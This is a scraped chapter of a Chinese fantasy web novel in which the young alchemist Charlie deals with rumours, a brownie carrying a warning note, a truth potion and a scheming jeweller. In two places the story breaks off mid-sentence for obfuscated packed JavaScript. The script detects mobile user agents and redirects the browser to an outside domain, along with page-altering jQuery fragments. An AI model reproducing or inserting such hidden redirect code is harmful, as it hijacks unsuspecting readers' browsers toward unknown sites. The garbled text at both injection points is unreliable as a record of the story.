连本这具骷髅架子都看出他心情愉悦了,更别说街上来来往往的踩着夕阳回家的邻居们。 “查理,今天气色很好啊。”路过的大叔是集市常客,与查理打过很多次照面。骤然看到脸色红润的查理,还有点不习惯。 “我的炼金药剂成功了。”查理提及此事,眼中布满神采,“就在刚才。” 听到这话的大叔,先是愣住了,随即没忍住笑了出来,爽朗的笑声吸引了来往路人的注意力,“这是真的吗?查理,你真的做出炼金药剂了?” 查理直视着他的眼,任谁都能看到他眼中的执着与坚定。他说:“我自己试过了,真的。” 大叔挠挠头,一时都有些分不清真假。查理说他做出炼金药剂了?还自己试过了?是那个妄想家查理吗?那个被高等魔法学院和所有法师塔都拒之门外的查理吗? 他真的不是在做梦么! “哦,太阳在上,真的假的啊?”正巧路过的另一人也凑过来,看看大叔又看看查理,只觉得这变化可太大了。 昨日还有好事者在开玩笑似地打赌,说怪塔里的小查理会在什么时候因为炼金术破产呢?他今天就成功了? “天呐……” 惊奇的传闻,总是以最快的速度传播。 当松塔里传出食物的香味,关于妄想家查理疑似成为了一个炼金术士的消息,已经传遍了大半个灰帽街。 人们奔走相告,有人对此惊叹连连,也有人保持疑惑,觉得查理是魔怔了,因此产生了幻觉。 墙角的小雏菊晃啊晃,似乎也有自己的见解。 “查理、查理!”杰弗里再次踏着夕阳敲响了松塔的大门,等到门开了,着急忙慌地就抓住了查理的胳膊,上下检查,“怎么了?为什么我回来的路上,听人说你疯了???” 查理也有点愣住,“我疯了?” 他是想过流言有自己的形态,千奇百怪,但他没想到进化的速度会这么快。难道这就是传说中的,天才与疯子,只有一线之隔吗? “杰弗里,不用担心,我没事。”查理已经数不清自己是第几次对杰弗里说这样的话了,杰弗里也数不清自己是第几次听到这样的回答了。 饶是如此,他还是松了口气,“没事就好。” 查理莞尔,将自己真的做出了炼金药剂的事告诉他。 闻言,杰弗里由衷地为他感到高兴,“那可太好了。哦对了,还有件事忘了告诉你。前两天鞋匠铺又接了个新的单子,你猜是谁的?” 查理心念一转,忽然想到一个可能,“我的?” “没错!”杰弗里整个人都神采飞扬起来,“那位珠宝商人派人来为你订做靴子,我看到那个订单就猜到是为你做的。原本我还没有出师呢,像这样定金比较大的单子,老鞋匠都不会让我插手。可是我好想试一试啊,求了他一下,没想到他就答应了!” 查理一时没有言语,因为他忽然想到了一些别的事情。 杰弗里看到他这个样子,还以为他在担心靴子的质量,连忙解释道:“不过我就是给老鞋匠打下手,靴子绝对不会有问题的!” “杰弗里,我没有那个意思。你比老鞋匠更了解我,肯定知道我更适合穿什么样的靴子。”查理回过神来,及时出言安慰。 末了,他又顺嘴问道:“最近鞋匠铺很忙吧?你上次说,还有一个王城的大订单,来得及吗?” 杰弗里挠挠头,“嘿嘿,忙是忙了一点,但预计交付的时间往后延了,所以赶得上。” “往后延了?”查理心下思量,但面上不显,“那太巧了,如果没往后延, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13721280|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴许你们就没时间接珠宝商人的单子了。他以前也在你们那儿下订单吗?” 杰弗里点点头,又摇摇头,“是熟客介绍的,不过这位珠宝商人才来玛吉波没多久,所以没下过几单呢。” 闻言,查理没再多问。 等到杰弗里挥着手离开,查理关上门回到厨房,锅中的汤正好沸腾。热气顶起锅盖,发出“呜呜”的声响。 查理走上前去,掀开锅盖,用长柄木勺搅动着汤水,若有所思。 老鞋匠么…… 本的骷髅头从壁炉里滚出来,看着查理,问出了心中的疑惑,“你又在做什么?” 查理随口回答:“熬汤。” “不是这个,你为什么要把炼金药剂的事情说出去呢?现在大家都知道了。” “因为开心,想要跟大家分享我的喜悦。” “可你之前明明都不想让人知道你学会魔法了!” “是吗。” 本看着查理平静的表情,觉得他此刻好像一个骗子。大骗子,就像阿耶一样。 查理接收到他控诉的视线,莞尔,“好吧,这其实只是一个筹码,一个证明自身价值的、在适当的时机、合情合理地抛出去的筹码。” 一个被魔法学院和各大法师塔拒之门外的众所周知的废物,阴差阳错卷入一桩盗窃案,又因为外貌被珠宝商人看中。 他的倒霉和“幸运”,其实在这座魔法圣都里,都不稀奇。就像乔治看向他的担忧目光一样,他看的不止是查理,而是一个又一个人的缩影。 可如果他摇身一变,成了一个颇具天赋的炼金术士了呢? 故事又将如何续写? 查理走到窗边,再度看了眼窗外。 神秘的灰帽街,到底有多少暗流在涌动,他不知道。但直觉告诉他,比起明面上的风浪,暗流才最可怕。 “这潭水太浑了,我看不清。”查理拉上窗帘,道:“所以这既是筹码,是饵料,也是投入水中的一颗石子。” 本又懵了,空空的脑袋思考不了太复杂的事情。而接下去查理所说的事情,更让他觉得晕乎。 “关于这座松塔,灰帽街流传着很多个不同版本的故事。在这些版本里,我曾听杰弗里提到过,他听老鞋匠说,怪塔是一座女巫塔。这是最接近真相的答案。” 查理一边将熬好的汤盛进漂亮的白色汤碗,一边继续说道: “目前来看,黑甲骑士团似乎并不知道松塔的秘密,维克这个跟我一样的外来者也不知道,但灰帽街——” “如果真的有这么一个人,知道松塔的真实情况,他会不会猜到,我在成为炼金术士之前,已经学会了魔法,打开了通往四楼的门?” “维克将靴子的订单送到老鞋匠那里,是巧合吗?” 骷髅头张着嘴巴,已经不知道该说什么了。 查理将汤碗放上餐桌,看到略显呆滞的骷髅头,忍不住摸了摸那圆润光滑的脑袋,道:“当然,这只是我一点不成熟的猜测。” 本感受到头顶传来的温度,忽然伤感起来,“如果我还记得就好了。” 查理安慰他,“想不起来就不用想,本,脑袋可以不光光用来思考,也可以——” “可以什么?” “当头槌。” 本震惊,“什么?” 查理微笑,“所以你可要把自己藏好啊,万一又有坏人来找我们的麻烦,伟大的亡灵法师的扈从阁下,可要保护我。” 本没有想到,查理这个乌鸦嘴,竟一语成谶。 就在这个夜晚,当月亮的信徒在午夜醒来,开始一天之中最虔诚的祷告时,寂静的灰帽街上便又多了一点声响。 没有人会在意这点声响,也没有人会在意混杂在这声响之中的,一点小动静。 直到床上的人睁开了双眼。 窸窸窣窣的声音,从卧室的窗户边传来。明亮的月光下,一团小小的黑影在蠕动。 19.棕仙 本好紧张,好紧张,似乎又回到了大战理发师的那个夜晚。 他的骷髅头藏在烟囱里,他的手挂在走廊上,他的腿骨在布草间假装拖把杆,他的肋骨还在床底下自闭……哦不对,是潜伏。 他已经做好了万全的准备。 可是他等啊等,在窗口蠕动的黑色身影,半天了都没钻进来。窸窸窣窣、窸窸窣窣的声音响了半天了,还在窸窸窣窣。 本急得呀,恨不得自己去给对方开窗。 半晌,黑影似乎放弃了,竟就这样跑了。本时刻谨记着要隐藏自己,又不好追出去,一时间所有的骨头都愣在了原地,不知道该怎么办才好。 直到—— “咦?” “咦!!!” 黑影跑到了塔顶,妄图从烟囱突入。谁知刚跳进去,就看到一个骷髅头挂在烟囱壁上,仅有的一点月光照亮了他半个头,露出黑洞般的眼眶。 本还没反应过来呢,黑影便被吓得两眼一翻,直直地从烟囱坠落,砸在壁炉里。紧接着骷髅头也惊慌失措地砸下来,“哐当!” 锅又翻了。 第二次。 查理披着外衣下楼,看着彻底破碎的锅,自闭的骷髅和把自己团成一团、瑟瑟发抖的不明物体,忽然觉得自己的生活真精彩。 “你是谁?”他蹲下来,发问。 不明物体又抖了抖,浑身上下裹在一件破破烂烂的棕色外袍里,瞧着比人小,比猫儿大。查理向TA伸手,TA就一退三米远。 动作倒是灵活。 “啊,我知道了!”骷髅头忽然结束了自闭状态,骨碌碌滚过来,围着对方蹦跶,“它是棕仙,小精灵的一种!” 查理微讶,“棕仙?” 上次是吸血鬼,这次是棕仙么? 本又解释道:“棕仙是一种善良的小精灵,虽然偶尔有点淘气,但不会害人的。” 话音落下,那团被棕色布料包裹的不明物体又发出了窸窸窣窣的声响。查理没有急着说话,也伸手拦下了本,耐心地等待着。 不多时,一只小手试探着从布料底下伸出来,放下一张攥得皱巴巴的纸条,然后又火速收回。 查理拿起纸条,只见上面写着几个歪歪扭扭的字—— 【离开玛吉波】 谁?谁要自己离开玛吉波?为什么? 查理面露沉思,再次看向棕仙,视线就跟棕仙悄悄露出来偷看他的眼睛撞了个正着。小小的棕仙又吓了一跳,赶紧缩回去,却不小心把自己尖尖的耳朵露在了外面。 “能告诉我,是谁让你来的吗?”查理放缓了语气。 “不、不可以……”棕仙的声音细声细气,比蚊子大不了多少。 “它们很守信用的,一旦答应帮别人保守秘密,就不会说出来。”本看着它,记忆开始翻涌。他依稀记得自己从前应该见过许许多多的小精灵,有顽皮地打翻了炼金药剂,还会栽赃陷害的;也有善良的吭哧吭哧只会干活的。它们有些灵活得会飞,有些笨得像个结巴。 真怀念呐。 无限的感怀再次笼罩了本,他忍不住对查理说:“你不要把它关起来好不好?” 查理失笑,“我有说要把它关起来吗?” 好吧,其实我想过。 地下室空了好几天了,又不能对外出租。 查理在思考时,下意识地摩挲着手中的纸条。他闻到了纸条上传来的隐约的一点皮革的味道,心里有了思量,起身道:“你走吧。” “咦?”棕仙惊讶得抬起了头。 它长着一张又小又平的脸,眼睛小小的,鼻孔也小小的,脸上还有雀斑,乱糟糟的棕发像卷毛小狗。它好像有点不敢相信,尖尖的耳朵动了动,又动了动。 本好心过去安抚它,可这骷髅头刚刚才吓过它呢,一看到他靠近,它就又灵活地直退三米远。 本又要自闭了。 查理失笑,把骷髅头从地上抱起来,看向棕仙,道:“再不走的话,我可要后悔了。” 棕仙忍不住大着胆子看他一眼,这个人类,怀里抱着骷髅头,可怕。但是温暖的灯光下,他漂亮得像一个精灵,高贵、优雅,仿佛散发着无穷的吸引力。 “咦。”棕仙发出了不解又战战兢兢的声音,再次试探着往后退了几步,见查理真的没有阻拦,这才忙不迭往窗户跑。 就在它即将从窗户里钻出去的同时,查理的声音在背后响起。 “我不会离开玛吉波的,至少现在不会。” 棕仙的身影顿了顿,又飞快地爬出窗户。它消失得很快,几乎是一个眨眼就不见了,隐于夜色,断绝了追踪的可能。 松塔里恢复了平静,本反而开始不可置信起来,“你真的放它走了啊。” 查理随手把纸条烧掉,垂眸看着火光,语气淡然,“我大概猜出它是从哪儿来的了,但这跟我之前的想法有点出入。” “哪里?它从哪里来?”本好奇死了,可查理却不急着回答他,转身收拾好陶锅碎片,从柜子里拿出一个用不着了的旧锅,洗干净,开始煮起了——火蜥蜴的皮。 “你又做什么???”本满头雾水。 “为我大半夜起床找一个正经的理由——炼药。”查理回答道。 “什么药?”本下意识追问。 “也许会派上用场的药。”查理看着在沸水中翻腾的火蜥蜴皮,神不知鬼不觉地从身上掏出了一个纸包,又从纸包里掏出了几根头发。 这些头发都不是金色的,很显然不属于查理,也不属于本。因为他根本没有头发。 “这是谁的?” “你猜?” 查理从中挑出一根,放入锅里。本记不清主人的《炼金笔记》上究竟记载了多少炼金药剂的配方,但刚刚钻研过的查理,可记得清清楚楚。 此药名为——真言。 不杀人,不见血,诚信为本,以和为贵。 当然,想要炼成正儿八经的药剂,还需要很多个步骤和别的材料。以查理的炼金水平来说,很难,所以他秉持着笨鸟先的道理,别人睡觉,他先炼药。 在现代世界没熬过的夜,跑托托兰多来熬了。 时也,命也。 灰帽街的人们对于查理的刻苦,没有丝毫的怀疑。他们会质疑查理的天赋,但从不否认他的努力,因为那是肉眼可见的。 翌日,查理一大早就出了门,去莉莉屋给自己订接下来一周的早餐。 今天正好又是黛西在店里,她今天的耳坠是紫色小花。 “查理,恭喜你啊。”黛西拿出了早就准备好的一瓶果酱,绑上缎带,当做庆祝查理成为一个炼金术士的贺礼。 查理没有多推辞,大方地收了,打算以后做几瓶药剂当做回礼。 与黛西交谈的时候,他瞥见了十字路口斜对角的橡树酒馆,一大早就在忙碌的米什莱,又见缝插针地往这边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13725563|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探看。待看见某个身影时,干活都卖力了几分。 年轻真好。 查理在心中如此感叹着。 米什莱在酒馆996,都还能如此精神洋溢,而他熬了个夜,好不容易变得红润的脸色,又回去了。 走在路上的时候,查理从迎面走来的灰帽街邻居们的目光里,甚至看到了怜爱。 可怜的小查理,昨天一定是烧糊涂了才说的那些话,瞧瞧,今天又那么白! 这样的怜爱,在珠宝商人的马车将查理再度带走后,攀升到了顶峰。就连黛西,哪怕她很愿意相信查理的话,但是看着马车从门前经过,依然忍不住投去关切的目光。 “咳。”查理在车上,冷静,但苍白,目光看向坐在对面的男人,问:“维克先生今天怎么有空过来了?” “我近日在灰帽街上的名声,似乎不太好。”维克依旧戴着眼罩,换了身全黑的礼服,更不良善了。 “有吗?我初来乍到,不太了解。”查理回答。 维克笑笑,没有追问,话音一转,道:“现在负责调查灰帽街的,是萨洛蒙手下的副队长。他叫做里昂,里昂·波伊尔,正统贵族后裔,却是个混不吝的野路子。” 查理似是不明白他为什么要说这些,没有接话。 维克紧接着抛出一个重磅炸弹,“理发师的尸体找到了。” 查理心中一凛,瞬间意识到这个理发师不是吸血鬼刺客,而是真正的理发师。他直接问:“在哪里?” 维克:“玛吉波的地下蓄水池。” 这可真是个糟糕的答案。查理不怀疑抛尸地点的真实性,但他怀疑维克的用意,“为什么告诉我?” “这位里昂副队长找到了尸体,他很擅长寻踪。不过吸血鬼刺客似乎早有预料,提前用冰冻魔法改变了尸体的状态,让人无法准确判断他死亡的具体时间。我告诉你,只是想让你有个提防。” 维克总是不吝啬于向查理展示他对合作伙伴的诚意,而查理也一如既往地吝啬于自己的信任。 但他可以慷慨地撒谎,“多谢维克先生提醒。不过,尸体一找到,您就过来找我,是不是太刻意了?” “不。”维克的回答依旧充满自信,“我们此行的目的地,是高等魔法学院。” “魔法学院?”查理这就有点搞不清他葫芦里到底在卖什么药了。 “伟大又骄傲的魔法师们,看不太上我这样市侩的珠宝商人,此前还曾傲慢地拒绝过我的拜访,但现在,他们却很想从我手上得到那条魔法矿脉。”维克双腿交叠着,换了个更舒服的坐姿,就好像默认查理已经知道魔法矿脉的消息一样,继续说道:“所以在宴会开始前,他们单独邀请我,先去魔法学院做客。” 然后暗中达成什么肮脏交易吗? 查理佯装不懂,“那我在前面下车就可以了。” 可是维克的宝石手杖,就横亘在他和车门之间。维克身体微微前倾,轻笑着问:“如果我跟他们说,我的其中一个交换条件是,让他们破格准许你进入魔法学院,你觉得如何?” 我觉得如何? 太岁头上动土,皇帝坟头跳舞。 高等魔法学院立校至今,从来没有为谁改写过规则,哪怕对方是皇室子弟,亦或是议会高层。若有人公然提出走后门,无疑是在挑衅他们的权威。 挺有意思的。 于是查理充满期望地问了他一句:“真的吗?”